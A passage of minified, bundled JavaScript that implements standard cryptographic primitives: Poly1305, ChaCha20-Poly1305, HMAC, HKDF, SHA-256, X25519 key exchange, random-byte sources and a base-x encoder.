L=N;L+=i*y,L+=o*g,L+=s*p,L+=a*(5*S),N=(L+=u*(5*E))>>>13,L&=8191,L+=c*(5*w),L+=l*(5*b),L+=f*(5*_),L+=h*(5*m);var j=N+=(L+=d*(5*v))>>>13;j+=i*v,j+=o*y,j+=s*g,j+=a*p,N=(j+=u*(5*S))>>>13,j&=8191,j+=c*(5*E),j+=l*(5*w),j+=f*(5*b),j+=h*(5*_);var U=N+=(j+=d*(5*m))>>>13;U+=i*m,U+=o*v,U+=s*y,U+=a*g,N=(U+=u*p)>>>13,U&=8191,U+=c*(5*S),U+=l*(5*E),U+=f*(5*w),U+=h*(5*b);var D=N+=(U+=d*(5*_))>>>13;D+=i*_,D+=o*m,D+=s*v,D+=a*y,N=(D+=u*g)>>>13,D&=8191,D+=c*p,D+=l*(5*S),D+=f*(5*E),D+=h*(5*w);var z=N+=(D+=d*(5*b))>>>13;z+=i*b,z+=o*_,z+=s*m,z+=a*v,N=(z+=u*y)>>>13,z&=8191,z+=c*g,z+=l*p,z+=f*(5*S),z+=h*(5*E);var F=N+=(z+=d*(5*w))>>>13;F+=i*w,F+=o*b,F+=s*_,F+=a*m,N=(F+=u*v)>>>13,F&=8191,F+=c*y,F+=l*g,F+=f*p,F+=h*(5*S);var B=N+=(F+=d*(5*E))>>>13;B+=i*E,B+=o*w,B+=s*b,B+=a*_,N=(B+=u*m)>>>13,B&=8191,B+=c*v,B+=l*y,B+=f*g,B+=h*p;var H=N+=(B+=d*(5*S))>>>13;H+=i*S,H+=o*E,H+=s*w,H+=a*b,N=(H+=u*_)>>>13,H&=8191,H+=c*m,H+=l*v,H+=f*y,H+=h*g,i=T=8191&(N=(N=((N+=(H+=d*p)>>>13)<<2)+N|0)+(T&=8191)|0),o=M+=N>>>=13,s=L&=8191,a=j&=8191,u=U&=8191,c=D&=8191,l=z&=8191,f=F&=8191,h=B&=8191,d=H&=8191,t+=16,n-=16}this._h[0]=i,this._h[1]=o,this._h[2]=s,this._h[3]=a,this._h[4]=u,this._h[5]=c,this._h[6]=l,this._h[7]=f,this._h[8]=h,this._h[9]=d},t.prototype.finish=function(e,t){void 0===t&&(t=0);var n,r,i,o,s=new Uint16Array(10);if(this._leftover){for(o=this._leftover,this._buffer[o++]=1;o<16;o++)this._buffer[o]=0;this._fin=1,this._blocks(this._buffer,0,16)}for(n=this._h[1]>>>13,this._h[1]&=8191,o=2;o<10;o++)this._h[o]+=n,n=this._h[o]>>>13,this._h[o]&=8191;for(this._h[0]+=5*n,n=this._h[0]>>>13,this._h[0]&=8191,this._h[1]+=n,n=this._h[1]>>>13,this._h[1]&=8191,this._h[2]+=n,s[0]=this._h[0]+5,n=s[0]>>>13,s[0]&=8191,o=1;o<10;o++)s[o]=this._h[o]+n,n=s[o]>>>13,s[o]&=8191;for(s[9]-=8192,r=(1^n)-1,o=0;o<10;o++)s[o]&=r;for(r=~r,o=0;o<10;o++)this._h[o]=this._h[o]&r|s[o];for(this._h[0]=65535&(this._h[0]|this._h[1]<<13),this._h[1]=65535&(this._h[1]>>>3|this._h[2]<<10),this._h[2]=65535&(this._h[2]>>>6|this._h[3]<<7),this._h[3]=65535&(this._h[3]>>>9|this._h[4]<<4),this._h[4]=65535&(this._h[4]>>>12|this._h[5]<<1|this._h[6]<<14),this._h[5]=65535&(this._h[6]>>>2|this._h[7]<<11),this._h[6]=65535&(this._h[7]>>>5|this._h[8]<<8),this._h[7]=65535&(this._h[8]>>>8|this._h[9]<<5),i=this._h[0]+this._pad[0],this._h[0]=65535&i,o=1;o<8;o++)i=(this._h[o]+this._pad[o]|0)+(i>>>16)|0,this._h[o]=65535&i;return e[t+0]=this._h[0]>>>0,e[t+1]=this._h[0]>>>8,e[t+2]=this._h[1]>>>0,e[t+3]=this._h[1]>>>8,e[t+4]=this._h[2]>>>0,e[t+5]=this._h[2]>>>8,e[t+6]=this._h[3]>>>0,e[t+7]=this._h[3]>>>8,e[t+8]=this._h[4]>>>0,e[t+9]=this._h[4]>>>8,e[t+10]=this._h[5]>>>0,e[t+11]=this._h[5]>>>8,e[t+12]=this._h[6]>>>0,e[t+13]=this._h[6]>>>8,e[t+14]=this._h[7]>>>0,e[t+15]=this._h[7]>>>8,this._finished=!0,this},t.prototype.update=function(e){var t,n=0,r=e.length;if(this._leftover){(t=16-this._leftover)>r&&(t=r);for(var i=0;i<t;i++)this._buffer[this._leftover+i]=e[n+i];if(r-=t,n+=t,this._leftover+=t,this._leftover<16)return this;this._blocks(this._buffer,0,16),this._leftover=0}if(r>=16&&(t=r-r%16,this._blocks(e,n,t),n+=t,r-=t),r){for(i=0;i<r;i++)this._buffer[this._leftover+i]=e[n+i];this._leftover+=r}return this},t.prototype.digest=function(){if(this._finished)throw new Error("Poly1305 was finished");var e=new Uint8Array(16);return this.finish(e),e},t.prototype.clean=function(){return n.wipe(this._buffer),n.wipe(this._r),n.wipe(this._h),n.wipe(this._pad),this._leftover=0,this._fin=0,this._finished=!0,this},t}();e.Poly1305=r,e.oneTimeAuth=function(e,t){var n=new r(e);n.update(t);var i=n.digest();return n.clean(),i},e.equal=function(n,r){return n.length===e.DIGEST_LENGTH&&r.length===e.DIGEST_LENGTH&&t.equal(n,r)}}(Aa),function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=la,n=Aa,r=Oa,i=fa,o=Na;e.KEY_LENGTH=32,e.NONCE_LENGTH=12,e.TAG_LENGTH=16;var s=new Uint8Array(16),a=function(){function a(t){if(this.nonceLength=e.NONCE_LENGTH,this.tagLength=e.TAG_LENGTH,t.length!==e.KEY_LENGTH)throw new Error("ChaCha20Poly1305 needs 32-byte key");this._key=new Uint8Array(t)}return a.prototype.seal=function(e,n,i,o){if(e.length>16)throw new Error("ChaCha20Poly1305: incorrect nonce length");var s=new Uint8Array(16);s.set(e,s.length-e.length);var a=new Uint8Array(32);t.stream(this._key,s,a,4);var u,c=n.length+this.tagLength;if(o){if(o.length!==c)throw new Error("ChaCha20Poly1305: incorrect destination length");u=o}else u=new Uint8Array(c);return t.streamXOR(this._key,s,n,u,4),this._authenticate(u.subarray(u.length-this.tagLength,u.length),a,u.subarray(0,u.length-this.tagLength),i),r.wipe(s),u},a.prototype.open=function(e,n,i,s){if(e.length>16)throw new Error("ChaCha20Poly1305: incorrect nonce length");if(n.length<this.tagLength)return null;var a=new Uint8Array(16);a.set(e,a.length-e.length);var u=new Uint8Array(32);t.stream(this._key,a,u,4);var c=new Uint8Array(this.tagLength);if(this._authenticate(c,u,n.subarray(0,n.length-this.tagLength),i),!o.equal(c,n.subarray(n.length-this.tagLength,n.length)))return null;var l,f=n.length-this.tagLength;if(s){if(s.length!==f)throw new Error("ChaCha20Poly1305: incorrect destination length");l=s}else l=new Uint8Array(f);return t.streamXOR(this._key,a,n.subarray(0,n.length-this.tagLength),l,4),r.wipe(a),l},a.prototype.clean=function(){return r.wipe(this._key),this},a.prototype._authenticate=function(e,t,o,a){var u=new n.Poly1305(t);a&&(u.update(a),a.length%16>0&&u.update(s.subarray(a.length%16))),u.update(o),o.length%16>0&&u.update(s.subarray(o.length%16));var c=new Uint8Array(8);a&&i.writeUint64LE(a.length,c),u.update(c),i.writeUint64LE(o.length,c),u.update(c);for(var l=u.digest(),f=0;f<l.length;f++)e[f]=l[f];u.clean(),r.wipe(l),r.wipe(c)},a}();e.ChaCha20Poly1305=a}({});var Ma={},La={},ja={};Object.defineProperty(ja,"__esModule",{value:!0}),ja.isSerializableHash=function(e){return void 0!==e.saveState&&void 0!==e.restoreState&&void 0!==e.cleanSavedState},Object.defineProperty(La,"__esModule",{value:!0});var Ua=ja,Da=Na,za=Oa,Fa=function(){function e(e,t){this._finished=!1,this._inner=new e,this._outer=new e,this.blockSize=this._outer.blockSize,this.digestLength=this._outer.digestLength;var n=new Uint8Array(this.blockSize);t.length>this.blockSize?this._inner.update(t).finish(n).clean():n.set(t);for(var r=0;r<n.length;r++)n[r]^=54;this._inner.update(n);for(r=0;r<n.length;r++)n[r]^=106;this._outer.update(n),Ua.isSerializableHash(this._inner)&&Ua.isSerializableHash(this._outer)&&(this._innerKeyedState=this._inner.saveState(),this._outerKeyedState=this._outer.saveState()),za.wipe(n)}return e.prototype.reset=function(){if(!Ua.isSerializableHash(this._inner)||!Ua.isSerializableHash(this._outer))throw new Error("hmac: can't reset() because hash doesn't implement restoreState()");return this._inner.restoreState(this._innerKeyedState),this._outer.restoreState(this._outerKeyedState),this._finished=!1,this},e.prototype.clean=function(){Ua.isSerializableHash(this._inner)&&this._inner.cleanSavedState(this._innerKeyedState),Ua.isSerializableHash(this._outer)&&this._outer.cleanSavedState(this._outerKeyedState),this._inner.clean(),this._outer.clean()},e.prototype.update=function(e){return this._inner.update(e),this},e.prototype.finish=function(e){return this._finished?(this._outer.finish(e),this):(this._inner.finish(e),this._outer.update(e.subarray(0,this.digestLength)).finish(e),this._finished=!0,this)},e.prototype.digest=function(){var e=new Uint8Array(this.digestLength);return this.finish(e),e},e.prototype.saveState=function(){if(!Ua.isSerializableHash(this._inner))throw new Error("hmac: can't saveState() because hash doesn't implement it");return this._inner.saveState()},e.prototype.restoreState=function(e){if(!Ua.isSerializableHash(this._inner)||!Ua.isSerializableHash(this._outer))throw new Error("hmac: can't restoreState() because hash doesn't implement it");return this._inner.restoreState(e),this._outer.restoreState(this._outerKeyedState),this._finished=!1,this},e.prototype.cleanSavedState=function(e){if(!Ua.isSerializableHash(this._inner))throw new Error("hmac: can't cleanSavedState() because hash doesn't implement it");this._inner.cleanSavedState(e)},e}();La.HMAC=Fa,La.hmac=function(e,t,n){var r=new Fa(e,t);r.update(n);var i=r.digest();return r.clean(),i},La.equal=Da.equal,Object.defineProperty(Ma,"__esModule",{value:!0});var Ba=La,Ha=Oa,qa=function(){function e(e,t,n,r){void 0===n&&(n=new Uint8Array(0)),this._counter=new Uint8Array(1),this._hash=e,this._info=r;var i=Ba.hmac(this._hash,n,t);this._hmac=new Ba.HMAC(e,i),this._buffer=new Uint8Array(this._hmac.digestLength),this._bufpos=this._buffer.length}return e.prototype._fillBuffer=function(){this._counter[0]++;var e=this._counter[0];if(0===e)throw new Error("hkdf: cannot expand more");this._hmac.reset(),e>1&&this._hmac.update(this._buffer),this._info&&this._hmac.update(this._info),this._hmac.update(this._counter),this._hmac.finish(this._buffer),this._bufpos=0},e.prototype.expand=function(e){for(var t=new Uint8Array(e),n=0;n<t.length;n++)this._bufpos===this._buffer.length&&this._fillBuffer(),t[n]=this._buffer[this._bufpos++];return t},e.prototype.clean=function(){this._hmac.clean(),Ha.wipe(this._buffer),Ha.wipe(this._counter),this._bufpos=0},e}();Ma.HKDF=qa;var Va={},$a={},Wa={};Object.defineProperty(Wa,"__esModule",{value:!0}),Wa.BrowserRandomSource=void 0;function Ka(e){throw new Error('Could not dynamically require "'+e+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}Wa.BrowserRandomSource=class{constructor(){this.isAvailable=!1,this.isInstantiated=!1;const e="undefined"!=typeof self?self.crypto||self.msCrypto:null;e&&void 0!==e.getRandomValues&&(this._crypto=e,this.isAvailable=!0,this.isInstantiated=!0)}randomBytes(e){if(!this.isAvailable||!this._crypto)throw new Error("Browser random byte generator is not available.");const t=new Uint8Array(e);for(let e=0;e<t.length;e+=65536)this._crypto.getRandomValues(t.subarray(e,e+Math.min(t.length-e,65536)));return t}};var Ga={},Ya=h(Object.freeze({__proto__:null,default:{}}));Object.defineProperty(Ga,"__esModule",{value:!0}),Ga.NodeRandomSource=void 0;const Qa=Oa;Ga.NodeRandomSource=class{constructor(){if(this.isAvailable=!1,this.isInstantiated=!1,void 0!==Ka){const e=Ya;e&&e.randomBytes&&(this._crypto=e,this.isAvailable=!0,this.isInstantiated=!0)}}randomBytes(e){if(!this.isAvailable||!this._crypto)throw new Error("Node.js random byte generator is not available.");let t=this._crypto.randomBytes(e);if(t.length!==e)throw new Error("NodeRandomSource: got fewer bytes than requested");const n=new Uint8Array(e);for(let e=0;e<n.length;e++)n[e]=t[e];return(0,Qa.wipe)(t),n}},Object.defineProperty($a,"__esModule",{value:!0}),$a.SystemRandomSource=void 0;const Ja=Wa,Xa=Ga;$a.SystemRandomSource=class{constructor(){return this.isAvailable=!1,this.name="",this._source=new Ja.BrowserRandomSource,this._source.isAvailable?(this.isAvailable=!0,void(this.name="Browser")):(this._source=new Xa.NodeRandomSource,this._source.isAvailable?(this.isAvailable=!0,void(this.name="Node")):void 0)}randomBytes(e){if(!this.isAvailable)throw new Error("System random byte generator is not available.");return this._source.randomBytes(e)}},function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.randomStringForEntropy=e.randomString=e.randomUint32=e.randomBytes=e.defaultRandomSource=void 0;const t=$a,n=fa,r=Oa;function i(t,n=e.defaultRandomSource){return n.randomBytes(t)}e.defaultRandomSource=new t.SystemRandomSource,e.randomBytes=i,e.randomUint32=function(t=e.defaultRandomSource){const o=i(4,t),s=(0,n.readUint32LE)(o);return(0,r.wipe)(o),s};const o="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";function s(t,n=o,s=e.defaultRandomSource){if(n.length<2)throw new Error("randomString charset is too short");if(n.length>256)throw new Error("randomString charset is too long");let a="";const u=n.length,c=256-256%u;for(;t>0;){const e=i(Math.ceil(256*t/c),s);for(let r=0;r<e.length&&t>0;r++){const i=e[r];i<c&&(a+=n.charAt(i%u),t--)}(0,r.wipe)(e)}return a}e.randomString=s,e.randomStringForEntropy=function(t,n=o,r=e.defaultRandomSource){return s(Math.ceil(t/(Math.log(n.length)/Math.LN2)),n,r)}}(Va);!function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=fa,n=Oa;e.DIGEST_LENGTH=32,e.BLOCK_SIZE=64;var r=function(){function r(){this.digestLength=e.DIGEST_LENGTH,this.blockSize=e.BLOCK_SIZE,this._state=new Int32Array(8),this._temp=new Int32Array(64),this._buffer=new Uint8Array(128),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this.reset()}return r.prototype._initState=function(){this._state[0]=1779033703,this._state[1]=3144134277,this._state[2]=1013904242,this._state[3]=2773480762,this._state[4]=1359893119,this._state[5]=2600822924,this._state[6]=528734635,this._state[7]=1541459225},r.prototype.reset=function(){return this._initState(),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this},r.prototype.clean=function(){n.wipe(this._buffer),n.wipe(this._temp),this.reset()},r.prototype.update=function(e,t){if(void 0===t&&(t=e.length),this._finished)throw new Error("SHA256: can't update because hash was finished.");var n=0;if(this._bytesHashed+=t,this._bufferLength>0){for(;this._bufferLength<this.blockSize&&t>0;)this._buffer[this._bufferLength++]=e[n++],t--;this._bufferLength===this.blockSize&&(o(this._temp,this._state,this._buffer,0,this.blockSize),this._bufferLength=0)}for(t>=this.blockSize&&(n=o(this._temp,this._state,e,n,t),t%=this.blockSize);t>0;)this._buffer[this._bufferLength++]=e[n++],t--;return this},r.prototype.finish=function(e){if(!this._finished){var n=this._bytesHashed,r=this._bufferLength,i=n/536870912|0,s=n<<3,a=n%64<56?64:128;this._buffer[r]=128;for(var u=r+1;u<a-8;u++)this._buffer[u]=0;t.writeUint32BE(i,this._buffer,a-8),t.writeUint32BE(s,this._buffer,a-4),o(this._temp,this._state,this._buffer,0,a),this._finished=!0}for(u=0;u<this.digestLength/4;u++)t.writeUint32BE(this._state[u],e,4*u);return this},r.prototype.digest=function(){var e=new Uint8Array(this.digestLength);return this.finish(e),e},r.prototype.saveState=function(){if(this._finished)throw new Error("SHA256: cannot save finished state");return{state:new Int32Array(this._state),buffer:this._bufferLength>0?new Uint8Array(this._buffer):void 0,bufferLength:this._bufferLength,bytesHashed:this._bytesHashed}},r.prototype.restoreState=function(e){return this._state.set(e.state),this._bufferLength=e.bufferLength,e.buffer&&this._buffer.set(e.buffer),this._bytesHashed=e.bytesHashed,this._finished=!1,this},r.prototype.cleanSavedState=function(e){n.wipe(e.state),e.buffer&&n.wipe(e.buffer),e.bufferLength=0,e.bytesHashed=0},r}();e.SHA256=r;var i=new Int32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]);function o(e,n,r,o,s){for(;s>=64;){for(var a=n[0],u=n[1],c=n[2],l=n[3],f=n[4],h=n[5],d=n[6],p=n[7],g=0;g<16;g++){var y=o+4*g;e[g]=t.readUint32BE(r,y)}for(g=16;g<64;g++){var v=e[g-2],m=(v>>>17|v<<15)^(v>>>19|v<<13)^v>>>10,_=((v=e[g-15])>>>7|v<<25)^(v>>>18|v<<14)^v>>>3;e[g]=(m+e[g-7]|0)+(_+e[g-16]|0)}for(g=0;g<64;g++){m=(((f>>>6|f<<26)^(f>>>11|f<<21)^(f>>>25|f<<7))+(f&h^~f&d)|0)+(p+(i[g]+e[g]|0)|0)|0,_=((a>>>2|a<<30)^(a>>>13|a<<19)^(a>>>22|a<<10))+(a&u^a&c^u&c)|0;p=d,d=h,h=f,f=l+m|0,l=c,c=u,u=a,a=m+_|0}n[0]+=a,n[1]+=u,n[2]+=c,n[3]+=l,n[4]+=f,n[5]+=h,n[6]+=d,n[7]+=p,o+=64,s-=64}return o}e.hash=function(e){var t=new r;t.update(e);var n=t.digest();return t.clean(),n}}({});!function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.sharedKey=e.generateKeyPair=e.generateKeyPairFromSeed=e.scalarMultBase=e.scalarMult=e.SHARED_KEY_LENGTH=e.SECRET_KEY_LENGTH=e.PUBLIC_KEY_LENGTH=void 0;const t=Va,n=Oa;function r(e){const t=new Float64Array(16);if(e)for(let n=0;n<e.length;n++)t[n]=e[n];return t}e.PUBLIC_KEY_LENGTH=32,e.SECRET_KEY_LENGTH=32,e.SHARED_KEY_LENGTH=32;const i=new Uint8Array(32);i[0]=9;const o=r([56129,1]);function s(e){let t=1;for(let n=0;n<16;n++){let r=e[n]+t+65535;t=Math.floor(r/65536),e[n]=r-65536*t}e[0]+=t-1+37*(t-1)}function a(e,t,n){const r=~(n-1);for(let n=0;n<16;n++){const i=r&(e[n]^t[n]);e[n]^=i,t[n]^=i}}function u(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]+n[r]}function c(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]-n[r]}function l(e,t,n){let r,i,o=0,s=0,a=0,u=0,c=0,l=0,f=0,h=0,d=0,p=0,g=0,y=0,v=0,m=0,_=0,b=0,w=0,E=0,S=0,O=0,x=0,I=0,R=0,k=0,C=0,P=0,A=0,N=0,T=0,M=0,L=0,j=n[0],U=n[1],D=n[2],z=n[3],F=n[4],B=n[5],H=n[6],q=n[7],V=n[8],$=n[9],W=n[10],K=n[11],G=n[12],Y=n[13],Q=n[14],J=n[15];r=t[0],o+=r*j,s+=r*U,a+=r*D,u+=r*z,c+=r*F,l+=r*B,f+=r*H,h+=r*q,d+=r*V,p+=r*$,g+=r*W,y+=r*K,v+=r*G,m+=r*Y,_+=r*Q,b+=r*J,r=t[1],s+=r*j,a+=r*U,u+=r*D,c+=r*z,l+=r*F,f+=r*B,h+=r*H,d+=r*q,p+=r*V,g+=r*$,y+=r*W,v+=r*K,m+=r*G,_+=r*Y,b+=r*Q,w+=r*J,r=t[2],a+=r*j,u+=r*U,c+=r*D,l+=r*z,f+=r*F,h+=r*B,d+=r*H,p+=r*q,g+=r*V,y+=r*$,v+=r*W,m+=r*K,_+=r*G,b+=r*Y,w+=r*Q,E+=r*J,r=t[3],u+=r*j,c+=r*U,l+=r*D,f+=r*z,h+=r*F,d+=r*B,p+=r*H,g+=r*q,y+=r*V,v+=r*$,m+=r*W,_+=r*K,b+=r*G,w+=r*Y,E+=r*Q,S+=r*J,r=t[4],c+=r*j,l+=r*U,f+=r*D,h+=r*z,d+=r*F,p+=r*B,g+=r*H,y+=r*q,v+=r*V,m+=r*$,_+=r*W,b+=r*K,w+=r*G,E+=r*Y,S+=r*Q,O+=r*J,r=t[5],l+=r*j,f+=r*U,h+=r*D,d+=r*z,p+=r*F,g+=r*B,y+=r*H,v+=r*q,m+=r*V,_+=r*$,b+=r*W,w+=r*K,E+=r*G,S+=r*Y,O+=r*Q,x+=r*J,r=t[6],f+=r*j,h+=r*U,d+=r*D,p+=r*z,g+=r*F,y+=r*B,v+=r*H,m+=r*q,_+=r*V,b+=r*$,w+=r*W,E+=r*K,S+=r*G,O+=r*Y,x+=r*Q,I+=r*J,r=t[7],h+=r*j,d+=r*U,p+=r*D,g+=r*z,y+=r*F,v+=r*B,m+=r*H,_+=r*q,b+=r*V,w+=r*$,E+=r*W,S+=r*K,O+=r*G,x+=r*Y,I+=r*Q,R+=r*J,r=t[8],d+=r*j,p+=r*U,g+=r*D,y+=r*z,v+=r*F,m+=r*B,_+=r*H,b+=r*q,w+=r*V,E+=r*$,S+=r*W,O+=r*K,x+=r*G,I+=r*Y,R+=r*Q,k+=r*J,r=t[9],p+=r*j,g+=r*U,y+=r*D,v+=r*z,m+=r*F,_+=r*B,b+=r*H,w+=r*q,E+=r*V,S+=r*$,O+=r*W,x+=r*K,I+=r*G,R+=r*Y,k+=r*Q,C+=r*J,r=t[10],g+=r*j,y+=r*U,v+=r*D,m+=r*z,_+=r*F,b+=r*B,w+=r*H,E+=r*q,S+=r*V,O+=r*$,x+=r*W,I+=r*K,R+=r*G,k+=r*Y,C+=r*Q,P+=r*J,r=t[11],y+=r*j,v+=r*U,m+=r*D,_+=r*z,b+=r*F,w+=r*B,E+=r*H,S+=r*q,O+=r*V,x+=r*$,I+=r*W,R+=r*K,k+=r*G,C+=r*Y,P+=r*Q,A+=r*J,r=t[12],v+=r*j,m+=r*U,_+=r*D,b+=r*z,w+=r*F,E+=r*B,S+=r*H,O+=r*q,x+=r*V,I+=r*$,R+=r*W,k+=r*K,C+=r*G,P+=r*Y,A+=r*Q,N+=r*J,r=t[13],m+=r*j,_+=r*U,b+=r*D,w+=r*z,E+=r*F,S+=r*B,O+=r*H,x+=r*q,I+=r*V,R+=r*$,k+=r*W,C+=r*K,P+=r*G,A+=r*Y,N+=r*Q,T+=r*J,r=t[14],_+=r*j,b+=r*U,w+=r*D,E+=r*z,S+=r*F,O+=r*B,x+=r*H,I+=r*q,R+=r*V,k+=r*$,C+=r*W,P+=r*K,A+=r*G,N+=r*Y,T+=r*Q,M+=r*J,r=t[15],b+=r*j,w+=r*U,E+=r*D,S+=r*z,O+=r*F,x+=r*B,I+=r*H,R+=r*q,k+=r*V,C+=r*$,P+=r*W,A+=r*K,N+=r*G,T+=r*Y,M+=r*Q,L+=r*J,o+=38*w,s+=38*E,a+=38*S,u+=38*O,c+=38*x,l+=38*I,f+=38*R,h+=38*k,d+=38*C,p+=38*P,g+=38*A,y+=38*N,v+=38*T,m+=38*M,_+=38*L,i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),e[0]=o,e[1]=s,e[2]=a,e[3]=u,e[4]=c,e[5]=l,e[6]=f,e[7]=h,e[8]=d,e[9]=p,e[10]=g,e[11]=y,e[12]=v,e[13]=m,e[14]=_,e[15]=b}function f(e,t){l(e,t,t)}function h(e,t){const n=new Uint8Array(32),i=new Float64Array(80),h=r(),d=r(),p=r(),g=r(),y=r(),v=r();for(let t=0;t<31;t++)n[t]=e[t];n[31]=127&e[31]|64,n[0]&=248,function(e,t){for(let n=0;n<16;n++)e[n]=t[2*n]+(t[2*n+1]<<8);e[15]&=32767}(i,t);for(let e=0;e<16;e++)d[e]=i[e];h[0]=g[0]=1;for(let e=254;e>=0;--e){const t=n[e>>>3]>>>(7&e)&1;a(h,d,t),a(p,g,t),u(y,h,p),c(h,h,p),u(p,d,g),c(d,d,g),f(g,y),f(v,h),l(h,p,h),l(p,d,y),u(y,h,p),c(h,h,p),f(d,h),c(p,g,v),l(h,p,o),u(h,h,g),l(p,p,h),l(h,g,v),l(g,d,i),f(d,y),a(h,d,t),a(p,g,t)}for(let e=0;e<16;e++)i[e+16]=h[e],i[e+32]=p[e],i[e+48]=d[e],i[e+64]=g[e];const m=i.subarray(32),_=i.subarray(16);!function(e,t){const n=r();for(let e=0;e<16;e++)n[e]=t[e];for(let e=253;e>=0;e--)f(n,n),2!==e&&4!==e&&l(n,n,t);for(let t=0;t<16;t++)e[t]=n[t]}(m,m),l(_,_,m);const b=new Uint8Array(32);return function(e,t){const n=r(),i=r();for(let e=0;e<16;e++)i[e]=t[e];s(i),s(i),s(i);for(let e=0;e<2;e++){n[0]=i[0]-65517;for(let e=1;e<15;e++)n[e]=i[e]-65535-(n[e-1]>>16&1),n[e-1]&=65535;n[15]=i[15]-32767-(n[14]>>16&1);const e=n[15]>>16&1;n[14]&=65535,a(i,n,1-e)}for(let t=0;t<16;t++)e[2*t]=255&i[t],e[2*t+1]=i[t]>>8}(b,_),b}function d(e){return h(e,i)}function p(t){if(t.length!==e.SECRET_KEY_LENGTH)throw new Error(`x25519: seed must be ${e.SECRET_KEY_LENGTH} bytes`);const n=new Uint8Array(t);return{publicKey:d(n),secretKey:n}}e.scalarMult=h,e.scalarMultBase=d,e.generateKeyPairFromSeed=p,e.generateKeyPair=function(e){const r=(0,t.randomBytes)(32,e),i=p(r);return(0,n.wipe)(r),i},e.sharedKey=function(t,n,r=!1){if(t.length!==e.PUBLIC_KEY_LENGTH)throw new Error("X25519: incorrect secret key length");if(n.length!==e.PUBLIC_KEY_LENGTH)throw new Error("X25519: incorrect public key length");const i=h(t,n);if(r){let e=0;for(let t=0;t<i.length;t++)e|=i[t];if(0===e)throw new Error("X25519: invalid shared key")}return i}}({});var Za=function(e,t){if(e.length>=255)throw new TypeError("Alphabet too long");for(var n=new Uint8Array(256),r=0;r<n.length;r++)n[r]=255;for(var i=0;i<e.length;i++){var o=e.charAt(i),s=o.charCodeAt(0);if(255!==n[s])throw new TypeError(o+" is ambiguous");n[s]=i}var a=e.length,u=e.charAt(0),c=Math.log(a)/Math.log(256),l=Math.log(256)/Math.log(a);function f(e){if("string"!=typeof e)throw new TypeError("Expected String");if(0===e.length)return new Uint8Array;var t=0;if(" "!==e[t]){for(var r=0,i=0;e[t]===u;)r++,t++;for(var o=(e.length-t)*c+1>>>0,s=new Uint8Array(o);e[t];){var l=n[e.charCodeAt(t)];if(255===l)return;for(var f=0,h=o-1;(0!==l||f<i)&&-1!==h;h--,f++)l+=a*s[h]>>>0,s[h]=l%256>>>0,l=l/256>>>0;if(0!==l)throw new Error("Non-zero carry");i=f,t++}if(" "!==e[t]){for(var d=o-i;d!==o&&0===s[d];)d++;for(var p=new Uint8Array(r+(o-d)),g=r;d!==o;)p[g++]=s[d++];return p}}}return{encode:function(t){if(t instanceof Uint8Array||(ArrayBuffer.isView(t)?t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength):Array.isArray(t)&&(t=Uint8Array.from(t))),!(t instanceof Uint8Array))throw new TypeError("Expected Uint8Array");if(0===t.length)return"";for(var n=0,r=0,i=0,o=t.length;i!==o&&0===t[i];)i++,n++;for(var s=(o-i)*l+1>>>0,c=new Uint8Array(s);i!==o;){for(var f=t[i],h=0,d=s-1;(0!==f||h<r)&&-1!==d;d--,h++)f+=256*c[d]>>>0,c[d]=f%a>>>0,f=f/a>>>0;if(0!==f)throw new Error("Non-zero carry");r=h,i++}for(var 